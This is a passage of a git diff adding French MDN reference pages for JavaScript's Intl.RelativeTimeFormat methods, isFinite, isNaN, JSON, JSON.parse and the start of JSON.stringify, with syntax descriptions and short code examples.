Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.

+
+
options {{optional_inline}}
+
+

Optionnel, un objet possédant tout ou partie des propriétés suivantes :

+
+
+
+
localeMatcher
+
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}.
+
numeric
+
Le format du message de sortie. Les valeurs possibles sont "always" (par exemple 1 day ago) ou  "auto" (par exemple yesterday). "auto" permet de ne pas toujours avoir de valeurs numériques dans le message produit.
+
+ +
+
style
+
La longueur du message internationalisé. Les valeurs possibles sont : "long" (la valeur par défaut) (par exemple : in 1 month), "short" (par exemple : in 1 mo.) ou  "narrow" (par exemple : in 1 mo.). Le style narrow peut être semblable au style short pour certaines locales.
+
+
+
+ +

Description

+ +

Propriétés

+ +
+
{{jsxref("RelativeTimeFormat.prototype", "Intl.RelativeTimeFormat.prototype")}}
+
Cette propriété permet d'ajouter des propriétés à l'ensemble des instances.
+
+ +

Méthodes

+ +
+
{{jsxref("RelativeTimeFormat.supportedLocalesOf", "Intl.RelativeTimeFormat.supportedLocalesOf()")}}
+
Cette méthode renvoie un tableau des locales, parmi celles passées en argument, qui sont pris en charge pour le formatage internationalisé des temps relatifs sans qu'il y ait besoin d'utiliser la locale par défaut de l'environnement d'exécution.
+
+ +

Les instances de RelativeTimeFormat

+ +

Propriétés

+ +

Les instances de RelativeTimeFormat héritent des propriétés suivantes grâce à leur prototype :

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl.RelativeTimeFormat/prototype', 'Propriétés')}}

+ +

Méthodes

+ +

Les instances de RelativeTimeFormat héritent des méthodes suivantes grâce à leur prototype :

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl.RelativeTimeFormat/prototype', 'Méthodes')}}

+ +

Exemples

+ +

Utiliser format()

+ +

L'exemple suivant illustre comment créer un formateur de temps relatif en anglais :

+ +
// On crée un formateur en anglais en utilisant explicitement
+// les valeurs par défaut.
+const rtf = new Intl.RelativeTimeFormat("en", {
+    localeMatcher: "best fit", // autre valeur possible : "lookup"
+    numeric: "always", // autre valeur possible : "auto"
+    style: "long", // autre valeur possible : "short" ou "narrow"
+});
+
+// On formate un temps relatif avec une valeur négative (-1).
+rtf.format(-1, "day");
+// > "1 day ago"
+
+// On formate un temps relatif avec une valeur positive (1).
+rtf.format(1, "day");
+// > "in 1 day"
+ +

Utiliser l'option auto

+ +

Si l'option numeric:auto est passée, on aura la chaîne de caractères yesterday ou tomorrow plutôt que 1 day ago ou in 1 day. De cette façon, on peut ne pas avoir de valeur numérique dans la valeur produite.

+ +
// On crée un formateur en anglais avec l'option
+// numeric: "auto".
+const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
+
+// On formate un temps relatif avec une valeur négative (-1).
+rtf.format(-1, "day");
+// > "yesterday"
+
+// On formate un temps relatif avec une valeur positive (1).
+rtf.format(1, "day");
+// > "tomorrow"
+
+ +

Utiliser formatToParts()

+ +

L'exemple suivant illustre comment créer un formateur de temps relatif qui renvoie les différents fragments pour exprimer le temps relatif internationalisé.

+ +
const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
+
+// On crée un temps relatif exprimé en jour.
+rtf.formatToParts(-1, "day");
+// > [{ type: "literal", value: "yesterday"}]
+
+rtf.formatToParts(100, "day");
+// > [{ type: "literal", value: "in " },
+      { type: "integer", value: "100", unit: "day" },
+      { type: "literal", value: " days" }]
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationEtatCommentaires
Proposition pour le constructeur Intl.RelativeTimeFormatProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.RelativeTimeFormat")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/resolvedoptions/index.html new file mode 100644 index 0000000000..1d6ddd6978 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/resolvedoptions/index.html @@ -0,0 +1,100 @@ +--- +title: Intl.RelativeTimeFormat.prototype.resolvedOptions() +slug: >- + Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/resolvedOptions +tags: + - Internationalization + - Intl + - JavaScript + - Méthode + - Prototype + - Reference + - i18n +translation_of: >- + Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/resolvedOptions +--- +
{{JSRef}}
+ +

La méthode Intl.RelativeTimeFormat.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent les options de format et de locale pour les valeurs temporelles relatives, calculées pendant l'initialisation de l'objet {{jsxref("RelativeTimeFormat")}}.

+ +
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-resolvedoptions.html")}}
+ + + +

Syntaxe

+ +
relativeTimeFormat.resolvedOptions()
+ +

Valeur de retour

+ +

Un nouvel objet dont les propriétés reflètent les options de locale et de formatage calculées lors de l'initialisation de l'objet {{jsxref("RelativeTimeFormat")}}.

+ +

Description

+ +

L'objet renvoyé par cette méthode possèdera les propriétés suivantes :

+ +
+
locale
+
La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans locale.
+
style
+
La longueur du message internationalisé. Les valeurs possibles sont : +
    +
  • "long" : la valeur par défaut, peu concise (par exemple in 1 month)
    • +
  • "short" : une valeur plus courte (par exemple in 1 mo.),
    • +
  • "narrow" : une valeur encore plus courte (pouvant être ambigüe selon les locales) (par exemple in 1 mo.). Les styles narrow et short peuvent être similaires voire identiques pour certaines locales.
    • +
+
+
numeric
+
Le format du message produit. Les valeurs possibles sont : +
    +
  • "always" : la valeur par défaut (par exemple  1 day ago),
    • +
  • "auto" : cette valeur indique qu'il n'est pas nécessaire d'utiliser de valeur numérique dans le message produit (par exemple yesterday).
    • +
+
+
numberingSystem
+
La valeur demandée pour la clé d'extension Unicode "nu" ou la valeur remplie par défaut.
+
+ +

Exemples

+ +
var de = new Intl.RelativeTimeFormat('de-DE');
+var usedOptions = de.resolvedOptions();
+
+usedOptions.locale;          // "de-DE"
+usedOptions.style;           // "long"
+usedOptions.numeric;         // "always"
+usedOptions.numberingSystem; // "latn"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.resolvedOptions")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/supportedlocalesof/index.html new file mode 100644 index 0000000000..be0599106c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/supportedlocalesof/index.html @@ -0,0 +1,87 @@ +--- +title: Intl.RelativeTimeFormat.supportedLocalesOf() +slug: >- + Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/supportedLocalesOf +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - Reference +translation_of: >- + Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/supportedLocalesOf +--- +
{{JSRef}}
+ +

La méthode Intl.RelativeTimeFormat.supportedLocalesOf() renvoie un tableau contenant l'ensemble des locales, parmi celles fournies en argument, qui sont prises en charge pour le formatage internationalisé du temps relatif, sans avoir à utiliser la locale par défaut de l'environnement d'exécution.

+ +
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-supportedlocalesof.html")}}
+ + + +

Syntaxe

+ +
Intl.RelativeTimeFormat.supportedLocalesOf(locales[, options])
+ +

Paramètres

+ +
+
locales
+
Un chaîne de caractères au format d'une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations sur le format de l'argument locales, voir la page {{jsxref("Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.
+
options
+
+

Paramètre optionnel, un objet pouvant avoir la propriété suivante :

+ +
+
localeMatcher
+
L'algorithme de correspondance entre locales à utiliser. Les valeurs possibles sont "lookup" et "best fit". Pour plus d'informations sur ce sujet, voir la page {{jsxref("Intl", "Intl", "#Choix_de_la_locale")}}.
+
+
+
+ +

Valeur de retour

+ +

Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langue qui sont prises en charge pour la mise en forme du temps relatif sans qu'il soit nécessaire d'utiliser la locale par défaut de l'environnement d'exécution.

+ +

Description

+ +

Cette méthode renvoie un tableau qui est un sous-ensemble de locales. Les balises de langues renvoyées sont celles supportées par l'environnement pour le formatage des temps relatifs. Ces balises sont déterminées en fonction de l'algorithme de correspondances de locale et des locales utilisées. Le tableau résultant fournit les locales qui permettent de ne pas avoir à utiliser la locale par défaut.

+ +

Examples

+ +

Utiliser supportedLocalesOf()

+ +

Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des temps relatifs, supportedLocalesOf renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les dates ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme "lookup". Si on utilisait "best fit", on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise.

+ +
var locales = ['ban', 'id-u-co-pinyin', 'de-ID'];var options = { localeMatcher: 'lookup' };console.log(Intl.RelativeTimeFormat.supportedLocalesOf(locales, options).join(', '));// → "id-u-co-pinyin, de-ID"
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.supportedLocalesOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/isfinite/index.html b/files/fr/web/javascript/reference/global_objects/isfinite/index.html new file mode 100644 index 0000000000..314a85183d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/isfinite/index.html @@ -0,0 +1,101 @@ +--- +title: isFinite() +slug: Web/JavaScript/Reference/Objets_globaux/isFinite +tags: + - Fonction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/isFinite +--- +
{{jsSidebar("Objects")}}
+ +

La fonction globale isFinite() détermine si la valeur passée en argument est un nombre fini. Si nécessaire, le paramètre est d'abord converti en nombre.

+ +
{{EmbedInteractiveExample("pages/js/globalprops-isfinite.html")}}
+ + + +

Syntaxe

+ +
isFinite(valeurÀTester)
+ +

Paramètres

+ +
+
valeurÀTester
+
La valeur dont on souhaite savoir si elle est finie ou non.
+
+ +

Valeur de retour

+ +

false si la valeur passée en argument vaut {{jsxref("Infinity")}} (en positif ou en négatif),{{jsxref("NaN")}} ou {{jsxref("undefined")}}, true sinon.

+ +

Description

+ +

isFinite() est une fonction qui n'est rattachée à aucun objet et qui est disponible au plus haut niveau.

+ +

Cette fonction peut être utilisée pour déterminer si un nombre est fini ou non. La fonction isFinite() examine le nombre passé en argument : si celui-ci vaut {{jsxref("NaN")}}, {{jsxref("Infinity")}} (pour l'infini) ou {{jsxref("Infinity","-Infinity")}} (pour l'infini négatif), cette fonction renvoie false sinon elle renvoie true.

+ +

Exemples

+ +
isFinite(Infinity);  // false
+isFinite(NaN);       // false
+isFinite(-Infinity); // false
+
+isFinite(0);         // true
+isFinite(2e64);      // true
+isFinite(910);       // true
+isFinite(null);      // true, ce qui aurait été false
+                     // avec la méthode Number.isFinite(null)
+
+
+isFinite("0");       // true ce qui aurait été false
+                     // avec la méthode Number.isFinite("0")
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.isFinite")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.isFinite()")}}
    • +
  • {{jsxref("Number.NaN")}}
    • +
  • {{jsxref("Number.POSITIVE_INFINITY")}}
    • +
  • {{jsxref("Number.NEGATIVE_INFINITY")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/isnan/index.html b/files/fr/web/javascript/reference/global_objects/isnan/index.html new file mode 100644 index 0000000000..f1f8d4ea70 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/isnan/index.html @@ -0,0 +1,155 @@ +--- +title: isNaN() +slug: Web/JavaScript/Reference/Objets_globaux/isNaN +tags: + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/isNaN +--- +
{{jsSidebar("Objects")}}
+ +

La fonction isNaN() permet de déterminer si une valeur est {{jsxref("NaN")}}. On notera que cette fonction utilise des règles de conversion différentes de {{jsxref("Number.isNaN()")}}, définie avec ECMAScript 2015 (ES6).

+ +
{{EmbedInteractiveExample("pages/js/globalprops-isnan.html")}}
+ +

Syntaxe

+ +
isNaN(valeurÀTester)
+ +

Paramètres

+ +
+
valeurÀTester
+
La valeur dont on souhaite déterminer si elle est {{jsxref("NaN")}}.
+
+ +

Valeur de retour

+ +

true si la valeur fournie vaut {{jsxref("NaN")}}, sinon, la méthode renverra false.

+ +

Description

+ +

La nécessité d'avoir isNaN()

+ +

À la différence des autres valeurs JavaScript, il est impossible d'utiliser les opérateurs d'égalité faible et stricte ({{jsxref("Opérateurs/Opérateurs_de_comparaison","==","#.C3.89galit.C3.A9_simple_(.3D.3D)")}} et {{jsxref("Opérateurs/Opérateurs_de_comparaison","===","#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}) afin de déterminer si une valeur est ou n'est pas réellement {{jsxref("NaN")}}. En effet NaN == NaN et NaN === NaN renvoient false tous les deux. C'est pour cela qu'il est nécessaire d'avoir la fonction isNaN().

+ +

Les origines de NaN

+ +

La valeur NaN est générée lorsqu'une opération arithmétique résulte en une valeur indéfinie ou non représentable. De telles valeurs ne représentent pas nécessairement des dépassements de condition. NaN peut également être le résultat d'une conversion numérique pour les valeurs qui n'ont pas de valeurs numériques correspondantes (par exemple lorsqu'on souhaite convertir la chaîne "toto" en un nombre).

+ +

Par exemple, lorsqu'on divise zéro par zéro, on obtient NaN. En revanche, lorsqu'on divise d'autres nombres par zéro, on n'obtient pas ce résultat.

+ +

Comportement étrange de isNaN()

+ +

Depuis les premières spécifications pour isNaN(), son comportement sur les arguments non-numériques a toujours été source de confusion. Lorsque l'argument passé à la fonction n'est pas du type Number, la valeur est d'abord convertie en une valeur du type Number. La valeur résultante est ensuite utilisée lors du test afin de déterminer si c'est {{jsxref("NaN")}}. Ainsi pour valeurs non numériques qui sont converties en une valeur non-NaN numérique (notamment la chaîne vide, les valeurs booléennes qui donnent zéro ou un), la fonction renverra false, ce qui pourrait être inattendu (en effet, la chaîne vide n'est pas un nombre). Ici, la confusion provient du fait que « not a number » a un sens particulier pour les valeurs numériques représentées selon IEEE-754. Cette fonction doit plutôt être vue comme la réponse à la question « est-ce que cette valeur, lorsqu'elle est convertie en une valeur numérique, correspond à la valeur IEEE-754 "Not A Number" ? ».

+ +

La version ECMAScript ES2015 ajoute la méthode {{jsxref("Number.isNaN()")}}. Number.isNaN(x) permettra de tester de façon plus fiable si x vaut NaN ou non. Si on ne dispose pas de cette méthode, on peut également utiliser l'expression (x != x) afin de tester de façon plus certaine si x vaut NaN ou non (en effet le résultat de cette expression n'aura pas les faux positifs de isNaN). Sous cet angle, isNaN() peut être vu comme :

+ +
var isNaN = function(valeur) {
+  return Number.isNaN(Number(valeur));
+};
+ +

Ou encore, en utilisant le fait que NaN est la seule valeur différente d'elle-même :

+ +
var isNaN = function(valeur) {
+  var n = Number(valeur);
+  return n !== n;
+};
+ +

NaN est « empoisonné »

+ +

Cette fonction peut être utilisée afin de déterminer si la valeur courante peut faire partie d'une expression arithmétique. En effet, si un des composants d'une expression arithmétique vaut NaN, le résultat de l'expression sera NaN également (on dit alors que NaN « empoisonne » l'expression). La méthode isNaN() permet alors de vérifier, avant de construire une expression, que les valeurs utilisées n'empoisonneront pas l'expression.

+ +

On peut par exemple construire une fonction dont on souhaite qu'elle incrémente l'argument et que la valeur qu'elle renvoie ne puisse pas être NaN. Le code de cette fonction pourrait être :

+ +
function incrément(x) {
+  if (isNaN(x)){
+    x = 0;
+  }
+  return x + 1;
+}
+
+// En utilisant des notations raccourcies,
+// on pourrait écrire une fonction équivalente
+function incrémentCourt(x) {
+  isNaN(x) ? 1 : x + 1;
+}
+
+incrément("blabla");  // 1
+incrément(1);         // 2
+incrément(NaN);       // 1
+
+ +

Exemples

+ +
isNaN(NaN);       // true
+isNaN(undefined); // true
+isNaN({});        // true
+
+isNaN(true);      // false
+isNaN(null);      // false
+isNaN(37);        // false
+
+// strings
+isNaN("37");      // false : "37" est converti vers le nombre 37 qui n'est pas NaN
+isNaN("37.37");   // false : "37.37" est converti vers le nombre 37.37 qui n'est pas NaN
+isNaN("37,25");   // true  : la virgule n'est pas considérée comme un séparateur décimal
+isNaN("123ABC");  // true  : "123ABC" converti en 123 par parseInt mais en NaN par Number
+isNaN("");        // false : la chaîne vide est convertie en 0 qui n'est pas NaN
+isNaN(" ");       // false : une chaîne de blancs est convertie en 0 qui n'est pas NaN
+
+// dates
+isNaN(new Date());                // false
+isNaN(new Date().toString());     // true
+
+// Voici le résultat « faux-positif » qui fait que isNaN n'est pas entièrement fiable
+isNaN("blabla")   // true : "blabla" est converti en un nombre
+                  // Si on souhaite convertir cette valeur en nombre, cela échoue
+                  // et on obtient NaN
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-isnan-number', 'isNaN')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.isNaN")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("NaN")}}
    • +
  • {{jsxref("Number.isNaN()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/json/index.html b/files/fr/web/javascript/reference/global_objects/json/index.html new file mode 100644 index 0000000000..ecc67a2d86 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/json/index.html @@ -0,0 +1,153 @@ +--- +title: JSON +slug: Web/JavaScript/Reference/Objets_globaux/JSON +tags: + - JSON + - JavaScript + - Object + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/JSON +--- +
{{JSRef}}
+ +

L’objet JSON contient des méthodes pour interpréter du JSON (JavaScript Object Notation) (voir également la page du glossaire {{glossary("JSON")}}) et convertir des valeurs en JSON. Il ne peut être appelé ou construit, et, en dehors de ses deux méthodes, n’a pas de fonctionnalité propre.

+ +

Différences entres JavaScript et JSON

+ +

JSON est une syntaxe pour sérialiser des objets, tableaux, nombres, chaînes de caractères, booléens et valeurs null. Elle est basée sur la syntaxe de JavaScript mais en est distincte : du code JavaScript n’est pas nécessairement du JSON, et du JSON n’est pas nécessairement du JavaScript.

+ +
    +
  • Pour les objets et les tableaux +
      +
    • Les noms de propriété doivent être des chaînes de caractères délimitées par des guillements doubles ; les trailing commas sont interdits
      • +
    +
    • +
  • Pour les nombres +
      +
    • Les zéros non significatifs sont interdits ; un point décimal doit être suivi d’au moins un chiffre (plus exactement : JSON.stringify() ignorera les zéros mais JSON.parse() déclenchera une exception SyntaxError).
      • +
    +
    • +
  • Pour le texte : tout texte JSON est une expression JavaScript (pour les moteurs qui implémentent cette proposition). +
      +
    • Pour les autres moteurs, seul un jeu limité de caractères peut être échappé ; certains caractères de contrôle sont interdits ; le séparateur de ligne Unicode (U+2028) et le séparateur de paragraphe (U+2029) sont autorisés en JSON mais pas en JavaScript dans les littéraux de chaînes de caractères.
      • +
    +
    • +
+ +

Dans l'exemple suivant, on utilise {{jsxref("JSON.parse()")}} afin d'analyser la chaîne JSON et eval afin d'exécuter le code correspondant :

+ +
var code = '"\u2028\u2029"';
+JSON.parse(code); // vaut "\u2028\u2029" pour tous les moteurs
+eval(code); // provoque une SyntaxError pour les anciens moteurs
+ +

Syntaxe complète

+ +
JSON = null
+    ou true ou false
+    ou NombreJSON
+    ou ChaîneJSON
+    ou ObjetJSON
+    ou TableauJSON
+
+NombreJSON = - NombrePositif
+          ou NombrePositif
+NombrePositif = NombreDécimal
+              ou NombreDécimal . Chiffres
+              ou NombreDécimal . Chiffres PartiExposant
+              ou NombreDécimal PartiExposant
+NombreDécimal = 0
+             ou UnÀNeuf Chiffres
+PartiExposant = e Exposant
+            ou E Exposant
+Exposant = Chiffres
+        ou + Chiffres
+        ou - Chiffres
+Chiffres = Chiffre
+      ou Chiffres Chiffre
+Chiffre = 0 à 9
+UnÀNeuf = 1 à 9
+
+ChaîneJSON = ""
+          ou " ChaîneCaractères "
+ChaîneCaractères = ChaîneCaractère
+                ou ChaîneCaractères ChaîneCaractère
+ChaîneCaractère = un caractère
+                  sauf " ou \ ou U+0000 à U+001F
+               ou SéquenceÉchappement
+SéquenceÉchappement = \" ou \/ ou \\ ou \b ou \f ou \n ou \r ou \t
+              ou \u ChifreHexadécimal ChifreHexadécimal ChifreHexadécimal ChifreHexadécimal
+ChifreHexadécimal = 0 à 9
+        ou A à F
+        ou a à f
+
+ObjetJSON = { }
+          ou { Membres }
+Membres = ChaîneJSON : JSON
+       ou Membres , ChaîneJSON : JSON
+
+TableauJSON = [ ]
+         ou [ ÉlémentsTableau ]
+ÉlémentsTableau = JSON
+             ou ÉlémentsTableau , JSON
+ +

Des espaces blancs insignifiants peuvent être présents n’importe où sauf dans un JSONNumber (les nombres ne doivent pas contenir d’espaces blancs) ou dans un JSONString (where it is interpreted as the corresponding character in the string, or would cause an error). Les caractères tabulation (U+0009), retour chariot (U+000D), saut de ligne (U+000A), and espace (U+0020) sont les seuls caractères blancs valides.

+ +

Méthodes

+ +
+
{{jsxref("JSON.parse()", "JSON.parse(texte[, revivificateur])")}}
+
Analysez le texte de la chaîne comme JSON, transformez éventuellement la valeur produite et ses propriétés, et renvoyez la valeur. Toute violation de la syntaxe JSON, y compris celles concernant les différences entre JavaScript et JSON, entraîne l'envoi d'un {{jsxref("SyntaxError")}}. L'option "revivificateur" permet d'interpréter ce que le remplacement a utilisé pour remplacer d'autres types de données.
+
{{jsxref("JSON.stringify()", "JSON.stringify(valeur[, remplacement[, expace]])")}}
+
Retourne une chaîne JSON correspondant à la valeur spécifiée, en incluant éventuellement seulement certaines propriétés ou en remplaçant les valeurs des propriétés d'une manière définie par l'utilisateur. Par défaut, toutes les instances de {{jsxref("undefined")}} sont remplacées par {{jsxref("null")}}, et les autres types de données natives non prises en charge sont censurés. L'option de remplacement permet de spécifier un autre comportement.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}{{Spec2('ES5.1')}}Définition initiale.
{{SpecName('ES6', '#sec-json-object', 'JSON')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.JSON")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.toJSON()")}}
    • +
  • Quelques outils permettant de manipuler des données en JSON + +
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/json/parse/index.html b/files/fr/web/javascript/reference/global_objects/json/parse/index.html new file mode 100644 index 0000000000..9161bc2ee2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/json/parse/index.html @@ -0,0 +1,131 @@ +--- +title: JSON.parse() +slug: Web/JavaScript/Reference/Objets_globaux/JSON/parse +tags: + - ECMAScript 5 + - JSON + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/JSON/parse +--- +
{{JSRef}}
+ +

La méthode JSON.parse() analyse une chaîne de caractères JSON et construit la valeur JavaScript ou l'objet décrit par cette chaîne. On peut éventuellement utiliser cette fonction avec un paramètre de modification permettant de traiter l'objet avant qu'il soit renvoyé.

+ +
{{EmbedInteractiveExample("pages/js/json-parse.html")}}
+ + + +

Syntaxe

+ +
JSON.parse(texte[, reviver])
+ +

Paramètres

+ +
+
texte
+
La chaine de caractère à analyser comme du JSON. Voir l'objet {{jsxref("JSON")}} pour une description de la syntaxe JSON.
+
reviver
+
Si l'argument est une fonction, effectue une opération de transformation sur la valeur analysée avant de la renvoyer.
+
+ +

Valeur de retour

+ +

Un objet ({{jsxref("Object")}}) correspondant au texte envoyé.

+ +

Exceptions

+ +

Lève une exception {{jsxref("SyntaxError")}} si la chaine de caractère à analyser ne contient pas du JSON valide.

+ +

Exemples

+ +

Utiliser JSON.parse()

+ +
try {
+  JSON.parse('{}');              // {}
+  JSON.parse('true');            // true
+  JSON.parse('"toto"');          // "toto"
+  JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
+  JSON.parse('null');            // null
+} catch (e) {
+  console.error("Parsing error:", e);
+}
+
+ +

Utiliser le paramètre reviver

+ +

Si un reviver est spécifié, la valeur obtenue par l'analyse est transformée avant d'être renvoyée. Plus précisément, la valeur calculée, et toutes les propriétés (commençant avec les propriétés les plus imbriquées), sont passées individuellement au reviver, qui est appelé avec : l'objet contenant la propriété en cours de traitement, le nom de la propriété en chaine de caractères et la valeur de la propriété. Si la fonction reviver retourne {{jsxref("undefined")}} (ou ne retourne aucune valeur, par exemple si l'exécution s'arrête à la fin de la fonction), la propriété est supprimée de l'objet. Autrement la propriété est redéfinie avec la valeur retournée.

+ +

Si le reviver ne transforme que certaines valeurs et pas d'autres, assurez-vous que les valeurs inchangées soient renvoyées telles quelles. En effet, si elles ne sont pas renvoyées, elles seront supprimés sur l'objet obtenu !

+ +
JSON.parse('{"p": 5}', (key, value) => {
+  if (typeof value === 'number') {
+    return value * 2;  // renvoie value * 2 pour les nombres
+  }
+  return value;        // pour le reste, la valeur est inchangée
+});
+
+// { p: 10 }
+
+JSON.parse('{"1": 1, "2": 2,"3": {"4": 4, "5": {"6": 6}}}', (key, value) => {
+    console.log(key);            // on affiche le nom de la propriété dans la console
+    return value;                // et on renvoie la valeur inchangée.
+});
+
+// 1
+// 2
+// 4
+// 6
+// 5
+// 3
+// ""
+ +

JSON.parse() n'accepte pas les virgules en fin de tableau

+ +
// les deux instructions qui suivent lèveront une SyntaxError
+JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{ "toto" : 1, }');
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.12.2', 'JSON.parse')}}{{Spec2('ES5.1')}}Définition initiale.
+ Implementée avec JavaScript 1.7.
{{SpecName('ES6', '#sec-json.parse', 'JSON.parse')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-json.parse', 'JSON.parse')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.JSON.parse")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("JSON.stringify()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/json/stringify/index.html b/files/fr/web/javascript/reference/global_objects/json/stringify/index.html new file mode 100644 index 0000000000..2243d898f3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/json/stringify/index.html @@ -0,0 +1,372 @@ +--- +title: JSON.stringify() +slug: Web/JavaScript/Reference/Objets_globaux/JSON/stringify +tags: + - JSON + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify +--- +
{{JSRef}}
+ +

La méthode JSON.stringify() convertit une valeur JavaScript en chaîne JSON. Optionnellement, elle peut remplacer des valeurs ou spécifier les propriétés à inclure si un tableau de propriétés a été fourni.

+ +
{{EmbedInteractiveExample("pages/js/json-stringify.html")}}
+ + + +

Syntaxe

+ +
JSON.stringify( valeur[, remplaçant [, espace]])
+ +

Paramètres

+ +
+
valeur
+
La valeur à convertir en chaîne JSON.
+
remplaçant {{optional_inline}}
+
+

Une fonction qui modifie le processus de transformation ou un tableau de chaînes de caractères et de nombres qui sont utilisés comme liste blanche pour sélectionner/filtrer les propriétés de l'objet à inclure dans la chaîne JSON. Si cette valeur est {{jsxref("null")}} ou n'est pas fournie, toutes les propriétés de l'objet seront inclues dans la chaîne résultante.

+
+
espace {{optional_inline}}
+
